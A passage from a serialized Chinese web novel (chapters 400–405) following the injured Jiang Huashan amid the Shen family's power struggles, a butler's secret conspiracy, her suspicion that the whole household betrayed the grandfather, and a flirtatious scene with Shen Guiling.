“这事吧,有点复杂。”姜花衫懒得解释,抬着下巴,“怎么突然想起来看我?” 苏妙是想来找姜花衫商量毕业旅行的事,可万万没想到她竟然伤的这么重,眼下别说旅行了,就是出这个门都难,她便也没再提,情绪不高,“你这以后好了会不会落下什么毛病啊?” 姜花衫见她一脸严肃,故意逗她,“以后说不定就变三只脚了。” “三只脚?”苏妙愣了愣,慢一拍才反应过来姜花衫说的三只脚是只拄拐杖,眼眶一下就红了,“没事,就是你变残废了也是全鲸港最漂亮的残废。” 姜花衫,“……” “谁要变残废了啊?” 正说着,屋外传来轻快的调侃声,转眼间沈眠枝扶着傅绥尔并肩走了进来。 傅绥尔一进屋立马跑到床前围着姜花衫上下打量,“我原本醒来就想来看你,孟医生非是不肯。” “你这又是怎么了?” 傅绥尔的胳膊也吊着夹板,和姜花衫一左一右刚好对称,苏妙皱眉,“这海寇是冲着沈家来的?” 沈眠枝,“一时半会儿也说不清楚,总算是有惊无险过去了。” 姜花衫用完好的一只手指了指傅绥尔的胳膊,“没事吧?” 她当时痛的几乎晕厥过去,要不是傅绥尔替她挡着了一枪,只怕右臂也要挂上夹板。 “没事。”傅绥尔咧嘴一笑,“要不说我运气好,没伤没伤筋没动骨,孟医生非要给我弄个夹板说是防止拉动伤口。” 两人目光交汇,对视一笑。 沈眠枝搬来两把椅子,三人围在姜花衫床侧有说有笑,窗外,夏花开的正明媚。 * 第400章 登门致歉 四个姑娘天南海北地闲聊,不知不觉太阳就落了山。 苏妙低头看了看时间,起身告辞。 姜花衫情况不便,便请沈眠枝代送,两人刚出沈园大门,就看见前坪排起了一条黑色长龙。 顾家老太太由长子顾赐丰搀扶下车,沈执早早等在门外,见了人立马迎了上去。 紧随其后的还有一个眼生的男人,西装革履,体型微胖,男人与蓝黛一前一后走下车,脸上堆满了客套的笑容。 苏妙虽然这些年不常在苏家,但顾家老太太还是认识的,轻轻蹭了蹭沈眠枝的胳膊,“听说这次北区山庄是顾家奶奶亲自组的局?” 沈眠枝点头,拉着苏妙主动上前打招呼,“顾奶奶、顾叔叔。” 老太太含笑,一脸慈爱,“这是眠枝丫头吧?越来越漂亮了。”说着又转头打量起苏妙,“哟,妙妙也在。” 当年苏家真假千金的事闹得沸沸扬扬,虽然大家面上不说,但还是有不少人因此轻贱苏妙,尤其是圈内的贵太太们,以前苏妙还没成年都抢着做自己的儿媳妇,如今成年了反而避之不及。 老太太这熟稔的态度丝毫感觉不出有任何异样。 苏妙礼貌点了点头,“顾奶奶,顾叔叔好。” 顾丰赐颔首,“代我向你父亲问好。” 身后的中年男人微微一愣,顾先生可是司法监督议员长,竟然对这个丫头这么客气。 蓝黛看出了父亲的疑惑,附耳小声道,“她父亲是国务院苏主理。” 男人低头看了女儿一眼,脸上的笑容更加殷勤。 蓝家是沾着顾家的光才能站在这,若没有顾家引荐,不好贸然插话,故而只能多笑。 苏妙礼貌回复,“一定。时候不早了,顾奶奶、顾叔叔我先回去了。” 沈眠枝顺势接话,“我送你。” 两人一一点头,目光转过蓝黛时,沈眠枝依旧客客气气,苏妙直接一个白眼忽视。 蓝黛脸色略有尴尬,但很快就遮掩了过去。 “几位,里面请。”沈执见状,主动开口领着一行人进园。 沈眠枝拉着苏妙,等人进了沈园,略有不解,“你不喜欢蓝黛?” 苏妙,“谈不上喜欢和不喜欢,只是不想浪费时间周旋。” 两年成长,她已经不再是当初莽撞的少女,只凭一眼苏妙就确定了蓝黛和男人的关系,当然连同男人眼里的殷勤她也看的一清二楚。 这些人无非是想通过她敲开苏家的大门,若她表现出一点善意,便会给自己带来无尽的麻烦。所以,那个白眼纯粹是为了省事。 沈眠枝一点就透,笑了笑,招手唤来自己的司机,“这么晚了,打车不安全,我让人送你回家?” 从苏妙申请到助学公寓就从苏家搬了出来,沈眠枝猜想以她的性格既然选择独立,一定不会再借助苏家的资源,总不能让苏妙走到山脚再打出租车回去。 苏妙点头应下。 假千金的身份并没有消磨她生活的态度,对于朋友们的好,她并不拧巴。 * 另一边,沈执依照沈庄的吩咐直接领着一群人去往沁园。 蓝向阳谨慎跟在顾老太太身后,趁着环顾园子的空隙偷偷给蓝黛使了个眼色。 蓝黛故意慢了一步,不解看着自己的父亲。 蓝向阳小心瞥向前头,见顾老太太正和沈执说话,他压低了声音,极小声问道,“你不是说你和苏家千金交好吗?” 蓝黛,“苏家有两个女儿,您刚刚看见那个是苏家养女,与我交好的是苏家真千金。” 闻言,蓝向阳慢慢松了一口气。 走了小一刻钟,影壁后转出一栋阆苑,蓝家父女以为这就是沈老爷子的主院,正要整顿仪容,便看见阆苑池边到处都是凿地的工人。 两人微微一愣,太阳都要落山了,这些师傅却丝毫没有要停的意思,好好的汉白玉石砖一榔头下去说砸就砸。 蓝向阳平日素来收集古董珍宝,故而对古制建筑颇有研究,从他踏入沈园门那一刻就被这园子的泼天底蕴吓住了。 原以为走了十几分钟已经到头了,没想到只不过是九曲回廊的一处内院。 顾老太太循声看了过去,“这好好的廊庑怎么说砸就砸?” 沈执,“老太太不知,姜小姐这次伤了腿,医生交代要好好将养,我家老爷子担心姜小姐出行不便就让人把整个沈园的台阶、窄道都砸了, 如此也方便姜小姐逛园子。” 这话一出,现场四人脸色各异。 北区度假山庄的负责人是蓝家、发起人是顾家,此次他们登门便是为了给沈家一个交代。 蓝向阳不在鲸港圈故而不知姜花衫在沈家的地位,当初听说沈家伤的是位养女还偷偷窃喜,幸好是沈家少爷或者嫡亲,现在冷不丁听说老爷子为了一个养女拆园,一时还有些摸不着方向。 难不成沈家老爷子知道他们赔罪来了,故意拆园想给他们一个下马威? 顾老太太知道内情,避重就轻,“老爷子心细如尘。” “噪音扰耳,还请老太太勿怪。” 说着便到了沁园院外。 园中园? 蓝向阳暗暗咋舌,就算是在西湾,想要建出这么大规模的楼院那也是了不得的事。何况还是在寸土寸金的鲸港?沈家不愧是A国第一世家。 “老爷子在花厅。” 绕过花池莲塘,廊架中心赫然矗立着一栋古朴的玻璃花厅,里面种满了各式各样的奇珍异草,花香宜人。 顾老太太领着一群人入内,不等沈庄起身,快步走到主位前,一脸惭愧。 “昨晚我听说山庄闹贼吓的一夜没睡,原本也不该这个时候来添乱,但一想到两个孩子也是因我一时兴起才遭的罪,不来看看心中难安。” 顾赐丰跟着上前,轻扶着老太太的胳膊,态度恭谨,“老爷子。” 蓝向阳和蓝黛略有局促,“沈老爷子安好。” 沈庄目光温和点了点头,“都打了几十年的交道了,怎么还这么客气?阿赐,还不扶着你母亲坐下?来者是客,都坐下喝茶。” “是。” 顾赐丰搀扶着老太太入座,蓝向阳小心观察,等顾家两人坐下后才小心翼翼坐在末位,蓝黛犹豫片刻站在蓝向阳身后。 这次山庄遇袭实在跟顾家和蓝家没什么关系,沈庄也没有为难无辜的意思,直接表明沈家不会继续追究。 蓝向阳没想到沈家这么好说话,顿时长舒了一口气。 北区那个项目,他们前前后后砸了2.5个亿,若是因为这次的事被沈家刁难叫停,蓝家不仅会血本无归还会失去进入鲸港名利圈的资格。 沈家愿意高抬贵手,对蓝家来说简直是天大的好消息。 …… 第401章 各怀鬼胎 顾老太太原本就是想要沈家一个明确的态度,看出沈庄无心闲谈,她便主动结束话题起身请辞。 蓝向阳略有些遗憾,但脸上不敢表露万分。他心里清楚的很,在西湾他是有头有脸的大人物,但在鲸港,若没有顾家领路,他连沈家的大门都进不了。 出了花厅,乒乒乓乓的敲砸声越来越大。 瞧着庭院灯火通明人影攒动,老太太心头一动,突然反应过来,“沈管家,今天怎么没看见清予?” 平日顾老太太来沈园,只要沈清予在家,必然是他亲自去园外接人。 沈执,“清予少爷昨日被罚了一百鞭,现在还在祠堂面壁思过。” 众人脸色微变,尤其是顾老太太,惊慌之余更多的是气愤。 “一百鞭?清予做错了什么?老爷子要下这么狠的手?” 沈执,“不光是清予少爷,阿灵少爷和兰晞少爷也是如此。老太太不用担心,我家老爷子赏罚有度,不会错怪了清予少爷。” “可……” 顾赐丰不着痕迹拉住老太太,老太太回头看了儿子一眼,脸色不愉但也没有再说什么。 出了沈园,沈执亲自将老太太送上车。 回程路上,老太太的火终于发了出来。 “你刚才拉住我是什么意思?清予是我亲孙子,我多问一句都不行吗?” “你刚刚没听见吗?这次连沈兰晞都一并打了。” 老太太不情不愿,“那又怎么样?” 老太太不管有多明事理,只要牵扯了沈清予就没了原则。 顾赐丰有些无奈,“沈兰晞都没逃过,可想这次沈老爷子的火有多大?” 老太太终于回过味,蠢儿子说的对,这次的事怎么看都是无妄之灾,孩子们没事就已经是万幸,这沈庄什么还下得去手?” 顾赐丰,“能跟在沈老身边的人哪有省油灯?沈执今日说的每句话都是老爷子让他带的话。” 老太太斜睨了他一眼,“那你说沈庄这是什么意思?” 顾赐丰一噎,“旁的我不知道,但有一点我看出来了,老爷子并不满意蓝家!” 鲸港圈内人都知道,蓝家是因为有顾家牵线才标到了北区的项目,如今山庄里出了这么大的事,老太太立马带着蓝家人一起登门道歉,这是生怕别人不知道顾家对蓝家的抬举。 老太太眉头微蹙,“当年任凭我嘴巴说破清予都不愿跟我这个婆婆走,他心里念着沈家我不怪他,我看中蓝家的确有我一份私心,但我也是真心为清予着想。” “以沈庄对沈兰晞的偏爱,定然是要托举沈兰晞走沈玺的老路,所以沈兰晞未来的妻子定然是世家贵女,可助他坐稳权椅。家族权势只能培养一头雄狮,如此清予的婚姻定然不可能高过沈兰晞,且又要为沈家助力。清予生性不羁又争强好胜,只要他在鲸港就要处处低沈兰晞一头,不如跳出鲸港摆脱沈家安排。” “蓝家在西湾是富甲一方的豪绅,蓝家人虽富却无权,清予娶了蓝黛,蓝家必定会全族托举供奉清予,到时候再加上你这个舅舅的助力,我们家清予未必不能跟沈兰晞一较高下。” 顾赐丰,“……” 老太太见他不接话,语气一顿,“怎么?你不愿意?” 顾赐丰脸色尴尬,“母亲,您这么做又将阿彦置于何地?” 顾彦是顾家嫡孙,顾赐丰的儿子,比起托举侄子,他自然是更愿意托举自己的儿子。 老太太,“我早就跟你说过了,阿彦资质平庸难当大任,清予……” 顾赐丰眼中略有失望,“母亲,不管阿彦再平庸,他到底姓顾,清予纵是旷世奇才他也还是姓沈。” 老太太顿然脸色阴沉。 顾赐丰心知是说到了老太太痛处,原本想低头缓和,但一想到这些年母亲因为外孙冷落亲孙难得态度强硬了几分,“母亲,阿彦这些年长进了不少,您就不能给他个机会吗?” 老太太轻叹了一声,“这事儿以后再说吧。” 另一边的车上。 蓝向阳正向蓝黛打听鲸港各家的关系。 “老太太曾经跟你奶奶透露有意撮合你和沈家小少爷,难不成就是我们今天去的这个沈家?” 蓝黛脸色微红,点了点头。 蓝向阳顿时眼中大放异彩,要是能同时搭上沈家和顾家两艘巨船,蓝家的好日子可就不远了。 “你见过沈家少爷没?你们相处如何?” 蓝黛脑海中闪过沈清予桀骜不羁的眉眼,含蓄道,“只见了几面,还好。” 她不敢对父亲说出实情,商人重利,父亲已知沈家权势,若是察觉她无力让沈家少爷动心,族中叔伯还有子女,蓝家并非非她不可。 相反,她如果想要在鲸港站稳脚跟,就非沈清予不可。 蓝向阳听说还好,只当是有戏,心中安稳了不少。 此次山庄的事牵连甚广,除了沈家还有很多贵族需要登门致歉,顾家今天登门沈园只是抛砖引玉,其他家族就需要他们自己出面缓和了。 为了避免出错,蓝向阳又打听起了其他各族的情况。 蓝黛借着顾玉珠的便利认识了不少贵女,提供了不少有利的情报,蓝向阳对此非常满意。 * 沈执站在园外,目送着黑车长龙转下弯道才转身回园。 步入内院,正好遇上工人在拆石阶,沈执驻足片刻绕进影壁。 嘈杂声时断时续,院里灯光落在影壁一角空出了一大块阴影。 沈执站在墙壁前,“老爷子昨晚进了祠堂,大概十分钟时间就出来了。” 暗影处站着一道黑影,“他起疑了?” …… 第402章 “父子情深” 沈执脸色冷沉,深邃的眸底含着幽光,沉默片刻摇了摇头,“不确定。” 他只知道沈庄进入祠堂的时候手里拿了一个木盒,出来的时候却空着手。 郑松一直跟着他身边,所以他根本没有机会接近祠堂。 “不知道?”角落里的人似乎对这个答案不太满意,“东西呢?” 沈执从口袋里拿出一个U盘,“五年前我就告诉过你,姜小姐和绥尔小姐偷偷摸摸好像在密谋什么,要不是你以为是,我们现在也不会被逼到这个份上。” 那人接过U盘,略有迟疑,“真是沈娇?” 沈执,“五年前,兰晞少爷归鲸宴,绥尔小姐借游戏之名偷偷潜入了监控室,后来姜小姐又与萧小姐在内湖起了冲突,最后几人合力把萧小姐赶出了沈园。当时只道是几个孩子们的打闹,但现在看来,难保不是有心之人在布局。” “姜花衫蠢钝不堪,何以一夜之间判若两人?还有绥尔小姐,你看她哪还有五年前的模样?襄英之旅,所有人损兵折将,唯有姜小姐和绥尔小姐重获老爷子喜爱,尤其是姜小姐,她如今在老爷子心中的份量就是三位少爷也不及。” “傅、姚两家倒台,所有人为争夺金山那块地争得头破血流,老爷子大手一挥给了幺小姐。” 角落里的人,眸光越来越冷,出声打断,“还有小沈园。” 沈执点头,“那可是历代家主才有资格继承的资产,没想到老爷子竟偏心至此。” 黑影人,“如此看来,我们几房斗的你死我活,最后却让一个外嫁女坐收渔翁之利。” 沈执,“幺小姐大概率就是这几年一直暗地追查我们的‘鲸港富婆’,你打算怎么办?” 黑影人沉默不语,但眼中已然掠过杀意。 沈执脸色稍缓,淡然颔首,“这件事必须从长计议,绝不能再出任何差错。老爷子那边还等着我回话。” 说罢便隐入暗处,转身进了小院。 * 沁园。 沈庄正在花厅摆弄花草,夏花枝繁叶茂,需要定时修剪才能促芽长苞。沈庄拿着花枝剪上下打量,招呼身边的郑松,“你瞧瞧,这小枝条是不是又蹿个了?” 郑松硕大的眼珠溜了一圈,一副信号放空的模样。 “长了两根分支。”沈执端着一盆温水含笑走了进来。 沈庄数了数分枝,点头应道,“没错,的确多了两根。”说着,把延伸的分支从底端直接剪断。 沈执将盆放在方几上,拧好帕子双手递给沈庄,沈庄放下剪刀,顺手接过手帕。 “顾家回去了?” 沈执点头,“老太太心里挂念清予少爷,听闻清予少爷受罚,心中颇有不快。” 沈庄抬眸,转头看向沈执。 沈执神态自若,无比熟稔从沈庄手里接过手帕,重新打湿,拧干了再次递上,嘴里碎碎念,“您又不是不知道顾家老太太的性子,她素来偏爱清予少爷,未必能理解您的好意。” 沈庄低头看着掌心的手帕,神色从容,“罢了,她到底是真心待清予的人。” 沈执点头,满脸惆怅,“说到疼爱,您哪会比老太太少?老爷子,您别怪我多嘴,几位少爷您打也打了,罚也罚了,是不是也该哄哄了?” 沈庄抬眸往祠堂的方向看去,“跪多久了?” 沈执,“都已经一天一夜了。” 沈庄摆摆手,“你去跟他们说,让他们回去吧。” “是。”沈执肉眼可见的欢喜,忙不迭跑出花厅。 沈庄淡笑摇了摇头。 * 沈兰晞、沈归灵、沈清予三人从祠堂出来时脸上神色不显,原本三人想去主院辞别,但被沈执以天色太晚,不要打扰老爷子休息为由劝了回去。 沈执亲自将人送到沁园外。 此时,夜幕已深,庭院外的工人师傅们正紧锣密鼓赶工,乒乒乓乓的敲砸声盖过了树上吱吱喳喳的蝉鸣。 三人看着阆苑一片狼藉,还未出声,沈执轻叹了一声,主动说道:“姜小姐伤了腿,老爷担心她在家中行动不便,便下令拆了所有的台阶、石路和窄廊。” 沈兰晞眸光微沉,缓缓转过身,“沈管家留步。” 沈归灵淡淡点了点头,两人一前一后往内院方向走去。 沈清予站在廊庑边,神情冷峻看着工人们敲砸。 沈执犹豫片刻,慢慢走到跟前,“清予少爷,时候不早了,您身上还有伤,快回去休息吧?” 沈清予抬眸睨了沈执一眼,“今晚顾家人来了?” “是。” “就老太太?” 沈执摇头,“顾主理和蓝家人都来了。” 沈清予思忖片刻,抬起眉梢,“沈渊呢?” 沈执愣了愣,“您父亲昨日生气离园,眼下应该在滨海公馆。” 沈清予冷哼了一声,转身往园外走去。 沈执这才反应过来,追着沈清予的背影,“清予少爷,这么晚了,您要去哪啊?” 回应他的,是被夜色渐渐吞没的决绝。 * 月光穿过廊架,撒下轻薄的白霜。 沈归灵和沈兰晞并肩走在回廊之下,这是五年来,两人第一次步调完全一致。 穿过廊尾,两人又不约而同停下脚步,目光一致望向菊园的方向。 小院绣楼亮着暖白的灯光,满墙月季花迎风招展。 沈兰晞,“她怎么知道我们所有的计划?你告诉她的?” 沈归灵不置可否,从目睹姜花衫倒在血地,他就一直如此,眉宇间完全没有了温柔的痕迹,眼睑疏离内敛,眸光静默无痕,是跪是罚都面无表情承受。 这才是真正的沈归灵,优雅温柔不过是他哄骗世人的手段,如果他能随心所欲,只会比沈兰晞更冷眼看待这个世界。 沈兰晞并未在意,点了点头,转身向兰园走去。 沈归灵驻足廊前,过了许久才慢慢收回目光。 想怪她失约,却又更恨自己的无能。 他低头笑了笑,努力让温柔挂回眉梢。 * 第403章 再敢动她试试? “到底谁才是内鬼呢?” 绣楼里,床头亮着一盏星灯,姜花衫坐在床头眉目思索。 这次旅行竟然触发了四次暗杀。 海寇、杀手、狙击、绑匪。 还记得当时与杀手对峙时,她把沈家所有人的名字都说了一遍,虽然那个杀手掩饰的很好,但她还是察觉到了他开枪时有明显滞留的痕迹,这充分说明其中有一个人就是幕后黑手。 四条线里,只有海寇的目标未知,而狙击和绑匪都是冲着她来的。 这就有意思了,沈家竟然有人把她看的比沈兰晞还重。 其中,去梨园暗杀沈兰晞的杀手已经是明牌,也就是说沈谦已经是明面上的鬼了,那另外三个又会是谁呢? 姜花衫越想越入神,指尖无意识点着额头,“沈谦、沈渊、沈澈、沈让、沈执……” 到底是哪一个? 忽然! 她眼底闪过一丝暗涌。 毒杀、完美不在场证据…… 或许……凶手不是一个人,就如同昨夜的四场暗杀一样,所有人都是鬼。 这念头一起,姜花衫顿时感觉毛骨悚然。 可能吗? 沈园所有人都参与了那场谋杀。 但如果是这样,似乎一切就解释得通了,为什么强悍如郑松都会被杀人灭口且毫无痕迹?为什么毒杀的四个小时爷爷被完全隔绝?为什么整个司法局出面也找不到凶手?为什么所有人都有不在场证据? 因为……众叛亲离。 因为相互包庇。 因为所有人都背叛了爷爷! 姜花衫缓缓抬眸,清澈的眸底缭绕着古井无波的戾气,指尖缓缓弯曲攥紧被单。 如果真是这样,这群人可就真该死! “衫衫!衫衫!!!” 窗外突然传来傅绥尔的声音,姜花衫眨了眨眼,生生将眼中的戾气压了回去。 “绥尔小姐?这么晚了?您怎么……” “我有很重要的事找衫衫。” 话音一落,便听见楼道传来哒哒的脚步声,没一会儿就看见傅绥尔一脸兴奋冲了进来。 “衫衫!我抓到鬼了!” 姜花衫一头雾水,“什么鬼?” 傅绥尔点开军政学府新生群,“你看这个。” 此时的新生群炸开了锅,起因是有人刷新了暑假学分榜记录。 傅绥尔点开群里的截图,一位叫白密的大二学生以1250分的成绩占领魁首,直接碾压第二名500分,值得一提的是,被他碾压的第二名不是别人,是总分几乎满分的沈归灵。 姜花衫盯着成绩扫了一圈,“这个白密什么来头?” 竟然能在高手环伺的军政学府一骑绝尘。 “你知道他是怎么超过阿灵哥的吗?”傅绥尔笑了笑,眼里透着猎人的凶光,点开一张记分排行榜,“昨晚九点十五分,他上传了一道拆弹计分作业,以15秒的成绩打破了历来军事专家最优记录,除去100分积分外,还额外拿里900分奖励分。” 姜花衫面露不解,“所以呢,他是拆弹天才?” 傅绥尔挑眉,翘起嘴角,“他不是,我是,这道题是我解的。” 姜花衫微愣,凝神想了想,不可思议看向傅绥尔,“你是说……” “对!就是你想的那样!”傅绥尔迫不及待把她和笨蛋绑匪打赌的全部经过都说了一遍,“衫衫,你说巧不巧?那个家伙竟然是军政学府的学生,他拿来跟我打赌的竟然是军政学府的学分作业。竟然让我帮他做暑假作业,他果然脑子不怎么好使。” 姜花衫的表情一言难尽,这也太凑巧了,凑巧到她都不敢相信会这么顺利。 “白密?”她忽然反应过来,接过傅绥尔的手机,“这名字怎么这么耳熟?” 傅绥尔凑上前,指尖在屏幕上点了点,“就是这个银毛,S国王子白密,前段时间我们揍的那个白家公主就是她的妹妹。” 白密是S国“花海计划”的交换生,因为邻国王子的身份备受A国民众关注,社交媒体随便都能查到他的信息。 “他长这样?” 屏幕上的男人很年轻,眼睑细长,眼尾上翘,眉宇转圜间尽是上位者的优雅,俊美又极具攻击性。 傅绥尔瞟了一眼,“虽然他戴着面具,但我记得他的眼睛,很有辨识度,错不了!就是他!奇怪了……”说着,她单手摸着下巴作思考状,“他一个王子怎么也做起了绑匪勾当?哦!!” 傅绥尔拍腿惊呼,“他是白家人?当初白峥就是死在你和阿灵哥手里的,白密冲着你来是不是要替他叔叔报仇?嘶……也不对啊!” “他当时对我并没有恶意,不像是有仇的样子。” 傅绥尔喃喃自语半天才发现姜花衫一直没接话,见她眼睛一眨不眨盯着手机屏幕,不由好奇,“怎么了?这人长得有什么不对吗?” 姜花衫抬眸,“你觉不觉得他长得很像一个人?” 傅绥尔听罢,拿过手机认真打量,“你这么说好像是,但又说不清像谁?” 姜花衫抬手捂着白密眼睛以下的五官,“你觉得他像谁?” 傅绥尔聚精会神认真打量,摇摇头,“我……看不出来。” 姜花衫神情微动,将图片放大,只留下那双极具辨识度的眼睛,“这样呢?” 傅绥尔眼珠一动不动,不知道为什么,她脑子里明明有张脸,但不知为什么,就是说不出是谁。 姜花衫红唇轻启,缓缓道,“你觉不觉得他和沈归灵长的很像?” 第404章 钓鱼坦白局 第二天,沈清予中枪的消息才传回沈园,沈庄震怒,第一时间赶去医院探望。 沈园其余人除了感到惊讶之外,更多的还是担心,但因为沈庄严令在他回来之前任何人不得擅离沈园,大家也只好在院子里等消息。 沈谦早上有个高层会议,得知消息的时候已经晚了两个小时。 他已经连续两个晚上没有合眼,早上又在会议上和关楼斗智斗勇,此时早已心神俱疲。 沈谦满脸疲惫捏了捏眉心,“清予受伤,老二那边给了什么说法?” 莫然,“沈总说,清予少爷拿着枪质问他前日山庄遇袭的事是否与他有关?两人发生争执,推搡间擦枪走火误伤了清予少爷。” 沈谦皱了皱眉,这一天天的都是些什么事? 莫然顺手递上温水,“先生,医院那边传来消息,老爷子在病房发了好大一通火,连沈总都被教训了。” 沈谦脸色不快,低头看了看时间,“中午和汪会长的会晤改约下次。” “您是要去医院吗?” 沈谦站起身整理袖口,斟酌片刻,“去沈园看看阿灵。” 这人啊,最怕的就是比较。 原本沈谦还对沈归灵昨晚质问自己一事感到不满,但有沈清予这样的逆子做对比,沈谦突然就感觉到沈归灵的难能可贵。 平心而论,他这个儿子除了身份有些上不了台面,其余样样都挑不出毛病,如果沈年有沈归灵一半能耐,他都要烧高香叩谢祖宗保佑了。 莫然略有几分意外,面上却丝毫不显,默默在行程表上替换目的地。 * 菊园。 这人啊,就怕闲。 姜花衫从知道沈清予中枪后大脑就陷入了混乱的暴走模式。 这又是怎么回事? 就算沈渊是内鬼,也不至于对沈清予出手,沈家其他人不好说,但沈渊对沈清予的父子之情可掺不了半点假。 上一世,沈清予死后被沉海,尸骨无存,沈渊直接发疯,命打捞队在海湾找了半年,最后还是迫于鲸港民愤才被沈谦强行清退。 她撕毁剧目那会儿,沈归灵已经坐上了南湾州长的位置,大房和二房已经彻底撕破了脸,沈渊因为沈清予的死彻底失去了斗志,提前退出了沈家权势的争斗圈, “阿灵少爷,您来看姜小姐吗?” 姜花衫正想的出神,冷不丁听见楼下传来张茹的声音。 “踏踏踏踏——” 上楼的脚步声沉稳从容,临到门外忽然又停了下来。 “姜花衫……” “……” 姜花衫嘴角抽了抽,连名带姓的喊,连表面功夫都不做,沈龟灵这是吃错药了? 她清了清嗓子,装出一副很疲惫的样子,“我好困,要睡觉了。” 话音一落,沈归灵推门走了进来。 姜花衫猝不及防,两人的目光直直对上。 沈归灵抬眸,目光施施然在她身上停留了片刻,慢步走到床前,“什么时候喜欢撒谎了?” 姜花衫呵呵笑了笑,假装听不懂他的暗讽,低头看着指尖的涡。 沈归灵顺手拉开床边的椅子,见她不搭理自己便主动开口,“还痛吗?” 一开始是痛的,但后来疼晕过去再醒来伤口就完全没知觉了。要不是孟医生再三保证是止痛剂效果好,姜花衫差点都以为自己要瘫了。 “不痛,我都没什么感觉。” 姜花衫眼咕噜转了一圈,忽然想到什么,抬头打量沈归灵。 虽然都是瑞凤眼,虽然有六分神似,但沈归灵的眼睛更漂亮。 他的眼睑狭长上扬,轮廓精致却没有丝毫脂粉气,眸光深邃如墨,眼睑睫羽覆盖,白密俊美极具攻击性,但沈归灵是天生优雅。 不知怎的,姜花衫忽然想起沈归灵举枪射杀白峥时的神情,好像,杀人的时候都带着几分矜贵。 沈归灵察觉到姜花衫的目光一直在他的脸上逗留,心头微微荡起异样,有些不自在偏过头,“你……又怎么了?” 姜花衫目不转睛盯着他的眼睛,“没什么,就是突然觉得你眼睛长的挺好看的。” 沈归灵所有的关注点都停留在,你的眼睛很好看,嘴角不觉翘了起来。 姜花衫完全不知道小鱼莫名其妙就咬钩,试探道,“说起来,我觉得你瞧着一点也不像你爸,是随你妈妈吗?你妈妈一定是个大美人吧?” 沈归灵眼眸微沉,嘴角不可察觉微微绷直。 姜花衫见状这才反应过来,自己可能踩到沈归灵的雷区了,她立马摆手打哈哈,“我就随便问问,你不想说就算了。” 沈归灵抬眸看了她一眼,“没有不想说,只是许久不曾提起她,有些恍惚。我和她并不相像。” 姜花衫见沈归灵并没有不悦,小心翼翼,“你妈妈是个什么样的人?” 沈归灵眸光微动,略有不解,“你为什么突然对我妈妈好奇?” “啊?”姜花衫愣了愣。 沈归灵看着她,眼底带着几分平静的探究。 “……我也不知道。”姜花衫扯着嘴角笑了笑,“我就是突然对你的事有点好奇,” 沈归灵眼里的平静顷刻间被打破,他莫名跟着牵动嘴角,“我妈妈是个很温柔的人。” “温柔?”姜花衫完全没想到沈归灵会用这个词,白家全员恶人疯批吗?怎么沈归灵妈妈的属性这么格格不入?难道她猜错了? “嗯。”说起舒沐,沈归灵眼里多了几分鲜活,“从我记事以来,她从未对我红过脸。” 姜花衫目光怔忡,沉默片刻,收敛了打听的心思。 “那她应该很爱你,我奶奶也是,小时候不管我多顽皮,她从不舍得说我一句不好。” 她唯一一次让她伤心就是不辞而别。 姜花衫愣了愣,心里闪过一丝异样,对于沈归灵来说她的妈妈应该也是如此。 这天聊的,姜花衫轻咳了一声,强行扭转,“对了,昨天爷爷打你们了?” 沈归灵哪会看不穿她的意图,顺着她的话点头,“嗯。” 姜花衫一脸好奇,“怎么打的?” 说到这,沈归灵忽然想起什么,撩着眼皮打量她,“你和爷爷说了什么?” 姜花衫一脸无辜,“没说什么啊。” “没说什么?没说什么他老人家回来一人赏一百鞭?” “一百鞭?!”姜花衫单手托着后牙槽,冷嘶了一声,光想想就觉得皮痒。 沈归灵,“不仅如此,老爷子还拿了个百宝箱。” “百宝箱?”姜花衫竖起耳朵,两眼微眯,“什么百宝箱?” 老爷子是见过姜花衫之后才来的祠堂,沈归灵便顺理成章以为姜花衫是知情的,见她一副局外人的模样,不觉迟疑了起来。 爷爷不可能不信任姜花衫,既然没说,定然是有他的考量。 “你快说啊。”姜花衫直觉这是很重要的剧情,被卡的不上不下,眼睛珠子都要冒火了。 沈归灵还在权衡,姜花衫却耐不住了,直接抬腿对着沈归灵一脚踹去。 她脚上夹着钢板,这一动把沈归灵脸都吓青了,直接抱住她的钢脚。 “你……”正要训斥,忽然想起姜花衫说对她最好的奶奶这辈子没红过脸,沈归灵忍着脾气,“腿不想要了?” 姜花衫眼神只有对百宝箱的执拗,“你快告诉我吧?你要不说,我浑身难受。” 沈归灵无法直视冒着星星光芒的桃花眼,低头想避开,又与怀里绑着绷带的脚丫撞上。 “……” 白色的绷带绕过从脚底板一直绕到小腿膝盖,整只脚只有五个粉嫩可爱的五个脚趾露在外面,他下意识抱着小腿,脚趾微微弯曲正好抵着他的胸口。 沈归灵眼神暗了暗,立马转过头,不巧,又撞进能把他烧燃的桃花眼里。 “……” 姜花衫略有不满,“沈龟灵,你到底在扭扭捏捏什么!?” “真的那么想知道?” 姜花衫严肃且认真点头。 沈归灵手肘轻抬穿过怀里的小腿慢慢靠近床侧,距离一臂间隙,沈归灵抬眸,朝她勾了勾手指。 “……” 99的鱼竟然还敢钓她? 姜花衫压着眉梢,直接贴近沈归灵的肩膀,将耳朵直接凑到他的唇边。 沈归灵愣了愣,大脑险些宕机,原本强行克制的心跳声在这一刻忽然不停指挥扑通扑通乱跳,姜花衫被吓了一跳,踩在他胸口的脚趾偷偷翘起。 她是不是太奔放,吓着鱼了? 沈归灵极力忽视碎发落在鼻尖的酥麻,喉结轻轻滚动,生涩说道,“其实爷爷早就知道……” 【叮——!】 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度99.999999999999999999999999999999999999999%】 “沈谦……下的手,不仅如此,连沈渊、沈澈……” 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度99.9999999999999999999999999999999999999999%】 “爷爷早就掌握了所有证据,只等……我们……” 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度99.99999999999999999999999999999999999999999%】 “……” (宝宝们,不要看章数,看字数,这几天虽然一更,但是字数是达标的~) 第405章 好玩吗? 什么叫一而再再而三?明明只有二,哪来的三? 这是诬陷。 姜花衫张了张嘴,支支吾吾了半天,最后干巴巴解释,“我那会儿还小,不懂事。” 说完她立马后悔,恨不能抽自己一嘴巴,这种事有什么好解释的?都说了要当渣女了,渣女亲完不认账不是很正常的事吗? 沈归灵,“那前天在水下呢?” “什么水下?不知道你在说什么?” 姜花衫皱眉,一副记性不好的模样。 沈归灵慢慢转动眸光,认真打量她,“所以……你当时其实已经猜到了水下的人是我?” 姜花衫脸色微变,“我没有,我一开始就说了,我以为是绑匪。” 沈归灵游刃有余,“刚刚不是还说不知道我在说什么吗?现在怎么又想起来是绑匪了?” “……” “撒谎成性。” “……”姜花衫瞥了他一眼,低头看指尖。 就亲了,怎么招了? 